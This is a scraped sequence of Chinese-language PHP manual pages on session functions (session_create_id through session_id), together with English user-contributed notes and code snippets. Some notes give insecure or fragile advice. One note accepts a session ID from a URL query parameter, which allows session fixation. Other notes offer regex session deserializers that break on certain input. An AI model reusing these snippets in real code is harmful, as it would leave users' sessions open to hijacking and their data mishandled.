I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
Mikko H?m?l?inen 22-Jan-2004 09:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com 03-Dec-2003 04:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

        header("Content-Type: application/pdf");
        header("Content-Disposition: inline; filename=foo.pdf");
        header("Accept-Ranges: bytes");
        header("Content-Length: $len");
        header("Expires: 0");
        header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko) 31-Jul-2003 02:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite 23-May-2003 09:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk 10-Mar-2003 05:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy


session_write_close 的别名

  • ? session_cache_limiter
  • session_create_id ?
  • PHP Manual
  • Session 函数
  • session_write_close 的别名

session_commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

session_commit — session_write_close() 的别名

说明

此函数是该函数的别名：session_write_close()。

User Contributed Notes

There are no user contributed notes for this page.


Create new session id

  • ? session_commit
  • session_decode ?
  • PHP Manual
  • Session 函数
  • Create new session id

session_create_id

(PHP 7 >= 7.1.0, PHP 8)

session_create_id — Create new session id

说明

session_create_id(string $prefix = ""): string|false

session_create_id() is used to create new session id for the current session. It returns collision free session id.

If session is not active, collision check is omitted.

Session ID is created according to php.ini settings.

It is important to use the same user ID of your web server for GC task script. Otherwise, you may have permission problems especially with files save handler.

参数

prefix

If prefix is specified, new session id is prefixed by prefix. Not all characters are allowed within the session id. Characters in the range a-z A-Z 0-9 , (comma) and - (minus) are allowed.

返回值

session_create_id() returns new collision free session id for the current session. If it is used without active session, it omits collision check. On failure, false is returned.

示例

Example #1 session_create_id() example with session_regenerate_id()

<?php
// My session start function support timestamp management
function my_session_start() {
session_start();
// Do not allow to use too old session ID
if (!empty($_SESSION['deleted_time']) && $_SESSION['deleted_time'] < time() - 180) {
session_destroy();
session_start();
}
}

// My session regenerate id function
function my_session_regenerate_id() {
// Call session_create_id() while session is active to
// make sure collision free.
if (session_status() != PHP_SESSION_ACTIVE) {
session_start();
}
// WARNING: Never use confidential strings for prefix!
$newid = session_create_id('myprefix-');
// Set deleted timestamp. Session data must not be deleted immediately for reasons.
$_SESSION['deleted_time'] = time();
// Finish session
session_commit();
// Make sure to accept user defined session ID
// NOTE: You must enable use_strict_mode for normal operations.
ini_set('session.use_strict_mode', 0);
// Set new custom session ID
session_id($newid);
// Start with custom session ID
session_start();
}

// Make sure use_strict_mode is enabled.
// use_strict_mode is mandatory for security reasons.
ini_set('session.use_strict_mode', 1);
my_session_start();

// Session ID must be regenerated when
// - User logged in
// - User logged out
// - Certain period has passed
my_session_regenerate_id();

// Write useful codes
?>

参见

  • session_regenerate_id() - 使用新生成的会话 ID 更新现有会话 ID
  • session_start() - 启动新会话或者重用现有会话
  • session.use_strict_mode
  • SessionHandler::create_sid() - Return a new session ID

User Contributed Notes

haidz 13-Jun-2018 06:57
I needed to use session_create_id for the $prefix.
I used the 'create_sid' handler in session_set_save_handler and it done all the magic for me.
I could continue to use session_regenerate_id();

    function sessionCreateHandler()
    {
        $prefix = 'bla';
        return session_create_id($prefix);
    }
rowan dot collins at gmail dot com 29-Nov-2017 03:43
This function is very hard to replicate precisely in userland code, because if a session is already started, it will attempt to detect collisions using the new "validate_sid" session handler callback, which did not exist in earlier PHP versions.

If the handler you are using implements the "create_sid" callback, collisions may be detected there. This is called when you use session_regenerate_id(), so you could use that to create a new session, note its ID, then switch back to the old session ID. If no session is started, or the current handler doesn't implement "create_sid" and "validate_sid", neither this function nor session_regenerate_id() will guarantee collision resistance anyway.

If you have a suitable definition of random_bytes (a library is available to provide this for versions right back to PHP 5.3), you can use the following to generate a session ID in the same format PHP 7.1 would use. $bits_per_character should be 4, 5, or 6, corresponding to the values of the session.hash_bits_per_character / session.sid_bits_per_character ini setting. You will then need to detect collisions manually, e.g. by opening the session and confirming that $_SESSION is empty.

<?php
function session_create_random_id($desired_output_length, $bits_per_character)
{
    $bytes_needed = ceil($desired_output_length * $bits_per_character / 8);
    $random_input_bytes = random_bytes($bytes_needed);

    // The below is translated from function bin_to_readable in the PHP source (ext/session/session.c)
    static $hexconvtab = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,-';

    $out = '';

    $p = 0;
    $q = strlen($random_input_bytes);
    $w = 0;
    $have = 0;

    $mask = (1 << $bits_per_character) - 1;

    $chars_remaining = $desired_output_length;
    while ($chars_remaining--) {
        if ($have < $bits_per_character) {
            if ($p < $q) {
                $byte = ord( $random_input_bytes[$p++] );
                $w |= ($byte << $have);
                $have += 8;
            } else {
                // Should never happen. Input must be large enough.
                break;
            }
        }

        // consume $bits_per_character bits
        $out .= $hexconvtab[$w & $mask];
        $w >>= $bits_per_character;
        $have -= $bits_per_character;
    }

    return $out;
}
?>


解码会话数据

  • ? session_create_id
  • session_destroy ?
  • PHP Manual
  • Session 函数
  • 解码会话数据

session_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_decode — 解码会话数据

说明

session_decode(string $data): bool

session_decode() 对 $data 参数中的已经序列化的会话数据进行解码， 并且使用解码后的数据填充 $_SESSION 超级全局变量。

请注意，这里的反序列化方法不同于 unserialize() 函数。 序列化方法是 PHP 内置的，并且可以通过 session.serialize_handler 配置项进行修改。

参数

data

编码后的数据

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • session_encode() - 将当前会话数据编码为字符串
  • session.serialize_handler

User Contributed Notes

frank at interactinet dot com 24-Oct-2013 03:58
I found this to be the simplest solution:

<?php
// if session is not started
session_start();

// store our current session
$my_sess = $_SESSION;

// decode $data (the encoded session data, either from a file or database). Remember, decoded data is put directly into $_SESSION
session_decode($data);
$data = $_SESSION;

print_r($data);

// restore our own session
$_SESSION = $my_sess;

?>
Frits dot vanCampen at moxio dot com 23-Mar-2012 05:24
I noticed that the posted solutions for manually decoding sessions are not perfect, so I've contributed a more robust solution.

The preg_match solution can never work. It's not so hard to find a case that might break unserialization.
In the case of jason-joeymail is breaks on:

<?php
$_SESSION["test"] = ";oops|";
?>

Below you can find my solution. It doesn't use a regular expression but rather the reversibility of the serialize operation and the 'feature' that serialize ignores all further input when it thinks it's done. It's by no means a beautiful or particularly fast solution but it is a more robust solution.
I've added a deserializer for "php" and "php_binary". It should be trivial to add one for "wddx".

<?php
class Session {
    public static function unserialize($session_data) {
        $method = ini_get("session.serialize_handler");
        switch ($method) {
            case "php":
                return self::unserialize_php($session_data);
                break;
            case "php_binary":
                return self::unserialize_phpbinary($session_data);
                break;
            default:
                throw new Exception("Unsupported session.serialize_handler: " . $method . ". Supported: php, php_binary");
        }
    }

    private static function unserialize_php($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            if (!strstr(substr($session_data, $offset), "|")) {
                throw new Exception("invalid data, remaining: " . substr($session_data, $offset));
            }
            $pos = strpos($session_data, "|", $offset);
            $num = $pos - $offset;
            $varname = substr($session_data, $offset, $num);
            $offset += $num + 1;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }

    private static function unserialize_phpbinary($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            $num = ord($session_data[$offset]);
            $offset += 1;
            $varname = substr($session_data, $offset, $num);
            $offset += $num;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }
}
?>

Usage:

<?php
Session::unserialize(session_encode());
?>
jason at joeymail dot net 04-Jan-2011 04:23
Yet another attempt a wheel re-invention, using match with offsets rather than split...

<?php
function unserializesession( $data )
{
    if(  strlen( $data) == 0)
    {
        return array();
    }

    // match all the session keys and offsets
    preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);

    $returnArray = array();

    $lastOffset = null;
    $currentKey = '';
    foreach ( $matchesarray[2] as $value )
    {
        $offset = $value[1];
        if(!is_null( $lastOffset))
        {
            $valueText = substr($data, $lastOffset, $offset - $lastOffset );
            $returnArray[$currentKey] = unserialize($valueText);
        }
        $currentKey = $value[0];

        $lastOffset = $offset + strlen( $currentKey )+1;
    }

    $valueText = substr($data, $lastOffset );
    $returnArray[$currentKey] = unserialize($valueText);

    return $returnArray;
}
?>
davyvandenbremt at gmail dot com 16-Dec-2010 01:18
Here's what we are using to unserialize the session.

<?php
function unserialize_session($val) {
  $result = array();

  // prefixing with semicolon to make it easier to write the regular expression
  $val = ';' . $val;

  // regularexpression to find the keys
  $keyreg = '/;([^|{}"]+)\|/';

  // find all keys
  $matches = array();
  preg_match_all($keyreg, $val, $matches);

  // only go further if we found some keys
  if (isset($matches[1])) {
    $keys = $matches[1];

    // find the values by splitting the input on the key regular expression
    $values = preg_split($keyreg, $val);

    // unshift the first value since it's always empty (due to our semicolon prefix)
    if (count($values) > 1) {
      array_shift($values);
    }

    // combine the $keys and $values
    $result = array_combine($keys, $values);
  }

  return $result;
}
?>
deminy at deminy dot net 16-Nov-2007 01:24
1. Reply to ac's post:

As I mentioned at http://us.php.net/manual/en/function.unserialize.php#76977 , the regular expression used to unserialize a PHP session data won't work if the session data contains string variable which contains character '|'.

Here is a simple example I just come up with to show when the function unserializesession() won't work.

<?php
function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}

session_start();

$_SESSION['var'] = 'a|b';
$str = session_encode();
$arr = unserializesession($str);

print_r($_SESSION);
echo "<br />\n";
print_r($arr);
?>

2. Reply to bmorel's post:

Your function session_real_decode() is very nice to decode session data without involving with session functions. It works in most cases, but when dealing with reference variables, there is another case which should also be handled:

    <?php case 'r': /* reference  */ // R in lowercase ?>

I found this bug on PHP 5.1.6 several months ago, but don't know if it exsits in other version of PHP or not. Also, I am not sure if similiar bugs exist when handling other data types.

So here is my suggestion to revise the function,
2.1.
    change the switch statement from
    <?php switch ($str[$q]) { ?>
    to
    <?php switch (strtolower($str[$q])) { ?>
2.2.
    In all case statements, use lowercase characters only for character comparison. For example,
    <?php case 'R': /* reference  */ ?>
    should be be written as
    <?php case 'r': /* reference  */ ?>

(I don't want to put long code here, so just leave pieces of code to save spaces)
ac 20-Oct-2007 07:46
this solved my | problem:

function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}
leon dot pegg at gmail dot com 23-Aug-2006 08:14
i have found this to be a better way to restore session data while keeping your current session.

function decode_session($session_string){
    $current_session = session_encode();
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($session_string);
    $restored_session = $_SESSION;
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($current_session);
    return $restored_session;
}

enjoy
xueron at gmail dot com 15-Jul-2006 09:30
a perl reg:

$s = session_encoded_value;
%res = $s =~ /([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|([^\|]*[\;\}])/g;
nero321 at zmail dot sk 27-Jan-2006 05:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//   or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
    // save current session data
    //   and flush $_SESSION array
    $old = $_SESSION;
    $_SESSION = array();

    // try to decode passed string
    $ret = session_decode($sess_string);
    if (!$ret) {
        // if passed string is not session data,
        //   retrieve saved (old) session data
        //   and return false
        $_SESSION = array();
        $_SESSION = $old;

        return false;
    }

    // save decoded session data to sess_array
    //   and flush $_SESSION array
    $sess_array = $_SESSION;
    $_SESSION = array();

    // restore old session data
    $_SESSION = $old;

    // return decoded session data
    return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl 18-Oct-2005 07:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
brett at brettbrewer dot com 29-Jul-2005 11:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
              PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it 26-May-2005 03:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
      $vars = $_SESSION;
      $_SESSION = array();

      // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com 16-May-2005 06:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
sco at postmaster dot co dot uk 04-Jun-2004 07:52
If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz 02-Apr-2004 12:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
    session_start();
    $a = 5;
    session_register('a');
    session_decode("<session that doesn't have a as a session variable>");
    print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
njail 12-Dec-2003 12:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
    foreach (${"_{$varsess[$i]}"} as $var=>$val)
    {
    $$var = $val;
    // print "Var :".$var." -- Value :".$val."\n<br>";
    }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca 21-Aug-2003 01:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().


销毁一个会话中的全部数据

  • ? session_decode
  • session_encode ?
  • PHP Manual
  • Session 函数
  • 销毁一个会话中的全部数据

session_destroy

(PHP 4, PHP 5, PHP 7, PHP 8)

session_destroy — 销毁一个会话中的全部数据

说明

session_destroy(): bool

session_destroy() 销毁当前会话中的全部数据， 但是不会重置当前会话所关联的全局变量， 也不会重置会话 cookie。 如果需要再次使用会话变量， 必须重新调用 session_start() 函数。

Note: 通常情况下，在你的代码中不必调用 session_destroy() 函数， 可以直接清除 $_SESSION 数组中的数据来实现会话数据清理。

为了彻底销毁会话，必须同时重置会话 ID。 如果是通过 cookie 方式传送会话 ID 的，那么同时也需要 调用 setcookie() 函数来 删除客户端的会话 cookie。

当启用了 session.use_strict_mode 配置项的时候，你不需要删除过期会话 ID 对应的 cookie， 因为会话模块已经不再接受携带过期会话 ID 的 cookie 了， 然后它会生成一个新的会话 ID cookie。 建议所有的站点都启用 session.use_strict_mode 配置项。

Warning

过早的删除会话中的数据可能会导致不可预期的结果。 例如，当存在从 JavaScript 或者 URL 链接过来的并发请求的时候， 某一个请求删除了会话中的数据，会导致其他的并发请求无法使用会话数据。

虽然当前的会话处理模块不会接受为空的会话 ID， 但是由于客户端（浏览器）的处理方式， 立即删除会话中的数据可能会导致生成为空的会话 cookie， 进而导致客户端生成很多不必要的会话 ID cookie。

为了避免这种情况的发生，你需要在 $_SESSION 中设置一个时间戳， 在这个时间戳之后的对于会话的访问都将被拒绝。 或者，确保你的应用中不存在并发请求。 这个规则同样适用于 session_regenerate_id()。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 销毁会话数据以及 $_SESSION

<?php
// 初始化会话。
// 如果要使用会话，别忘了现在就调用：
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底，那么同时删除会话 cookie
// 注意：这样不但销毁了会话中的数据，还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// 最后，销毁会话
session_destroy();
?>

参见

  • session.use_strict_mode
  • session_reset() - Re-initialize session array with original values
  • session_regenerate_id() - 使用新生成的会话 ID 更新现有会话 ID
  • unset() - 清除指定变量
  • setcookie() - 发送 Cookie

User Contributed Notes

greald at gmail dot com 09-Dec-2020 08:21
All of a sudden neither session_destroy() nor $_SESSION=[] were sufficient to log out. I found the next to work:
<?php
setcookie(session_name(), session_id(), 1); // to expire the session
$_SESSION = [];
?>
JBH 04-Jul-2017 03:39
I'm using PHP 7.1 and received the following warning when implementing Example #1, above:

    PHP message: PHP Warning:  session_destroy(): Trying to destroy uninitialized session in...

What I discovered is that clearing $_SESSION and removing the cookie destroys the session, hence the warning.  To avoid the warning while still keeping the value of using session_destroy(), do this after everything else:

    if (session_status() == PHP_SESSION_ACTIVE) { session_destroy(); }
Jack Luo 27-Mar-2014 10:08
It took me a while to figure out how to destroy a particular session in php. Note I'm not sure if solution provided below is perfect but it seems work for me. Please feel free to post any easier way to destroy a particular session. Because it's quite useful for functionality of force an user offline.

1. If you're using db or memcached to manage session, you can always delete that session entry directly from db or memcached.

2. Using generic php session methods to delete a particular session(by session id).

<?php
$session_id_to_destroy = 'nill2if998vhplq9f3pj08vjb1';
// 1. commit session if it's started.
if (session_id()) {
    session_commit();
}

// 2. store current session id
session_start();
$current_session_id = session_id();
session_commit();

// 3. hijack then destroy session specified.
session_id($session_id_to_destroy);
session_start();
session_destroy();
session_commit();

// 4. restore current session id. If don't restore it, your current session will refer to the session you just destroyed!
session_id($current_session_id);
session_start();
session_commit();

?>
Praveen V 14-Sep-2012 04:39
If you want to change the session id on each log in, make sure to use session_regenerate_id(true) during the log in process.

<?php
session_start();
session_regenerate_id(true);
?>

[Edited by moderator (googleguy at php dot net)]


将当前会话数据编码为字符串

  • ? session_destroy
  • session_gc ?
  • PHP Manual
  • Session 函数
  • 将当前会话数据编码为字符串

session_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_encode — 将当前会话数据编码为字符串

说明

session_encode(): string|false

session_encode() 返回一个序列化后的字符串，包含被编码的、储存于 $_SESSION 超全局变量中的当前会话数据。

默认情况下，PHP 内部使用的序列方法和 serialize() 是不一样的。 该序列方法通过 session.serialize_handler 来设置。

参数

此函数没有参数。

返回值

返回当前会话编码后的内容， 或者在失败时返回 false。

注释

Warning

在调用 session_encode() 之前必须先调用 session_start()。

参见

  • session_decode() - 解码会话数据
  • session.serialize_handler

User Contributed Notes

Mark P 15-Jun-2017 06:17
session_encode() can't handle pipes in your keys.

<?php
session_start();
$_SESSION = ['foo|bar'=>'ba;z']; pathetic
dump(session_encode()); // false because "foo|bar" contains a pipe
?>
<carlos sica>sica at wnet dot com dot br 05-May-2005 09:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;


Perform session data garbage collection

  • ? session_encode
  • session_get_cookie_params ?
  • PHP Manual
  • Session 函数
  • Perform session data garbage collection

session_gc

(PHP 7 >= 7.1.0, PHP 8)

session_gc — Perform session data garbage collection

说明

session_gc(): int|false

session_gc() is used to perform session data GC(garbage collection). PHP does probability based session GC by default.

Probability based GC works somewhat but it has few problems. 1) Low traffic sites' session data may not be deleted within the preferred duration. 2) High traffic sites' GC may be too frequent GC. 3) GC is performed on the user's request and the user will experience a GC delay.

Therefore, it is recommended to execute GC periodically for production systems using, e.g., "cron" for UNIX-like systems. Make sure to disable probability based GC by setting session.gc_probability to 0.

参数

此函数没有参数。

返回值

session_gc() returns number of deleted session data for success, false for failure.

Old save handlers do not return number of deleted session data, but only success/failure flag. If this is the case, number of deleted session data became 1 regardless of actually deleted data.

示例

Example #1 session_gc() example for task managers like cron

<?php
// Note: This script should be executed by the same user of web server process.

// Need active session to initialize session data storage access.
session_start();

// Executes GC immediately
session_gc();

// Clean up session ID created by session_gc()
session_destroy();
?>

Example #2 session_gc() example for user accessible script

<?php
// Note: session_gc() is recommended to be used by task manager script, but
// it may be used as follows.

// Used for last GC time check
$gc_time = '/tmp/php_session_last_gc';
$gc_period = 1800;

session_start();
// Execute GC only when GC period elapsed.
// i.e. Calling session_gc() every request is waste of resources.
if (file_exists($gc_time)) {
if (filemtime($gc_time) < time() - $gc_period) {
session_gc();
touch($gc_time);
}
} else {
touch($gc_time);
}
?>

参见

  • session_start() - 启动新会话或者重用现有会话
  • session_destroy() - 销毁一个会话中的全部数据
  • session.gc_probability

User Contributed Notes

There are no user contributed notes for this page.


获取会话 cookie 参数

  • ? session_gc
  • session_id ?
  • PHP Manual
  • Session 函数
  • 获取会话 cookie 参数

session_get_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_get_cookie_params — 获取会话 cookie 参数

说明

session_get_cookie_params(): array

获取会话 cookie 的参数。

参数

此函数没有参数。

返回值

返回一个包含当前会话 cookie 信息的数组：

  • "lifetime" - cookie 的生命周期，以秒为单位。
  • "path" - cookie 的访问路径。
  • "domain" - cookie 的域。
  • "secure" - 仅在使用安全连接时发送 cookie。
  • "httponly" - 只能通过 http 协议访问 cookie
  • "samesite"——控制 cookie 的跨域发送。

更新日志

版本 | 说明
7.3.0 | 返回的数组中已添加"samesite"条目。

参见

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_set_cookie_params() - 设置会话 cookie 参数

User Contributed Notes

mmchristian at gmail dot com 07-Jun-2016 07:51
It should be noted that this gets the session cookie ini file parameters, not the parameters from the cookie itself.

ie. if you set the cookie lifetime using session_set_cookie_params(12345) and then try to use session_get_cookie_params, you will not get back 12345. Instead, you will get the lifetime set in the ini file.
powerlord at spamless dot vgmusic dot com 18-Nov-2002 11:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.


获取/设置当前会话 ID

  • ? session_get_cookie_params
  • session_module_name ?
  • PHP Manual
  • Session 函数
  • 获取/设置当前会话 ID

session_id

(PHP 4, PHP 5, PHP 7, PHP 8)

session_id — 获取/设置当前会话 ID

说明

session_id(?string $id = null): string|false

session_id() 可以用来获取/设置 当前会话 ID。

为了能够将会话 ID 很方便的附加到 URL 之后， 你可以使用常量 SID 获取以字符串格式表达的会话名称和 ID。 请参考 会话处理。

参数

id

如果指定了 id 且不为 null， 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数。 不同的会话处理程序对于会话 ID 中可以使用的字符有不同的限制。 例如文件会话处理程序仅允许会话 ID 中使用以下字符：a-z A-Z 0-9 , （逗号）和 - （减号）

Note: 如果使用 cookie 方式传送会话 ID，并且指定了 id 参数， 在调用 session_start() 之后都会向客户端发送新的 cookie， 无论当前的会话 ID 和新指定的会话 ID 是否相同。

返回值

session_id() 返回当前会话ID。 如果当前没有会话，则返回空字符串（""）。失败时返回 false。

更新日志

版本 | 说明
8.0.0 | id 现在可以为 null。

参见

  • session_regenerate_id() - 使用新生成的会话 ID 更新现有会话 ID
  • session_start() - 启动新会话或者重用现有会话
  • session_set_save_handler() - 设置用户自定义会话存储函数
  • session.save_handler

User Contributed Notes

hela69 12-Jan-2018 06:17
The call session_id(null) and session_id() provides not the same result. It is imperative to pass no parameters to get correct results.
ohcc at 163 dot com 07-Oct-2016 06:18
When session.use_strict_mode is set to 1 or true, you cannot use session_id($sid) to set the session id for the current session.
<?php
    ini_set('session.use_strict_mode', 1);
    $sid = md5('wuxiancheng.cn');
    session_id($sid);
    session_start();
    var_dump(session_id() === $sid);// always false
?>
Igor Oliveira Ferreira 12-Jul-2015 12:03
This can looks obvious, but as me, you can spend some hours to make a simple session work between different browsers and devices. These are the basics for me, but you can build upon.

<?php
if($_GET){
    //defining the session_id() before session_start() is the secret
    session_id($_GET['session_id']);
    session_start();
    echo "Data: " . $_SESSION['theVar'];
    //use your data before below commands
    session_destroy();
    session_commit();
}else{
    //common session statement goes here
    session_start();
    $session_id=session_id();
    $_SESSION['theVar'] = "theData";
    echo "your.php?session_id=" . $session_id;
}
?>
Shiji Jiang 22-Apr-2015 05:13
IMPORTANT NOTE:
If you assign a specific session ID to a user in your applet, then do not run the following code either while logout,
session_regenerate_id(TRUE);
USE:
session_regenerate_id();   instead.
OTHERWISE, setting the session id will no longer works for that user.
Riikka K 08-Mar-2015 06:08
It may be good to note that PHP does not allow arbitrary session ids. The session id validation in PHP source is defined in ext/session/session.c in the function php_session_valid_key:

https://github.com/php/php-src/blob/master/ext/session/session.c

To put it short, a valid session id may consists of digits, letters A to Z (both upper and lower case), comma and dash. Described as a character class, it would be [-,a-zA-Z0-9]. A valid session id may have the length between 1 and 128 characters. To validate session ids, the easiest way to do it use a function like:

<?php

function session_valid_id($session_id)
{
    return preg_match('/^[-,a-zA-Z0-9]{1,128}$/', $session_id) > 0;
}

?>

session_id() itself will happily accept invalid session ids, but if you try to start a session using an invalid id, you will get the following error:

Warning: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,'
gmillikan at t1shopper dot com 03-Mar-2015 06:20
session_id() URL-decodes the session value.   For example let's say we use setcookie() to push a cookie down to a web browser.  When the browser makes the next page request the browser sends the cookie back up to us with headers like this:  Cookie: PHPSESSID=enGHumY%2C-2De-F-TDzNHVmE%2ChY5;

